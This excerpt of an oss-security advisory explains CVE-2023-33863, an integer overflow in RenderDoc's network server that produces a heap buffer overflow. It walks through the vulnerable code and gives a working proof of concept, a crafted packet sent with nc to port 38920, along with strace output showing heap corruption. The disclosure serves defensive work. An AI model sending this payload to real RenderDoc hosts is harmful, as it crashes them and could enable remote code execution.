From oss-security:

- CVE-2023-33863, an integer overflow that results in a heap-based
  buffer overflow and may be exploitable by a remote attacker to execute
  arbitrary code on the machine that runs RenderDoc (but we have not
  tried to exploit this vulnerability).

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

If a client connects to librenderdoc.so's server on TCP port 38920 and
wants to send a long string of exactly 0xffffffff bytes (UINT32_MAX),
then the server casts this uint32_t len to a signed int (at line 1314),
and because resize()'s argument is a size_t (a 64-bit integer on amd64),
this 0xffffffff int is sign-extended to a 0xffffffffffffffff size_t
(SIZE_MAX) inside resize():

------------------------------------------------------------------------
1307   void SerialiseValue(SDBasic type, size_t byteSize, rdcstr &el)
1308   {
1309     uint32_t len = 0;
1310 
1311     if(IsReading())
1312     {
1313       m_Read->Read(len);
1314       el.resize((int)len);
1315       if(len > 0)
1316         m_Read->Read(&el[0], len);
------------------------------------------------------------------------

resize() calls reserve() to malloc()ate a buffer for this long string
(at line 508), and reserve() adds 1 to the size of this string (for a
null-terminator) and therefore integer-overflows the SIZE_MAX size of
this string to 0 and malloc()ates a minimum-sized buffer (at line 437)
that is much too small for the client's long string:

------------------------------------------------------------------------
 484   void resize(const size_t s)
 485   {
 ...
 508     reserve(s);
------------------------------------------------------------------------
 411   void reserve(size_t s)
 412   {
 ...
 437     char *new_str = allocate(s + 1);
------------------------------------------------------------------------

As a result, the client can overflow this heap-based buffer with up to
UINT32_MAX bytes. Proof of concept:

------------------------------------------------------------------------
alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600
------------------------------------------------------------------------
remote$ (printf '\2\0\0\0\0\0\0\0\1\0\0\0\xff\xff\xff\xff'; sleep 3; printf '%04096x' 1) | nc -nv 192.168.56.126 38920
Ncat: 4112 bytes sent, 0 bytes received in 3.00 seconds.
------------------------------------------------------------------------
alice$ cat strace.out
...
2848  recvfrom(5, "00000000000000000000000000000000"..., 4294967167, 0, NULL, NULL) = 4096
2848  recvfrom(5, "", 4294963071, 0, NULL, NULL) = 0
...
2848  writev(2, [{iov_base="malloc(): corrupted top size", iov_len=28}, {iov_base="\n", iov_len=1}], 2) = 29
...
2848  --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2847, si_uid=1000} ---
2847  <... clock_nanosleep resumed> <unfinished ...>) = ?
2848  +++ killed by SIGABRT +++
2847  +++ killed by SIGABRT +++
------------------------------------------------------------------------

Note: we have not tried to exploit this vulnerability.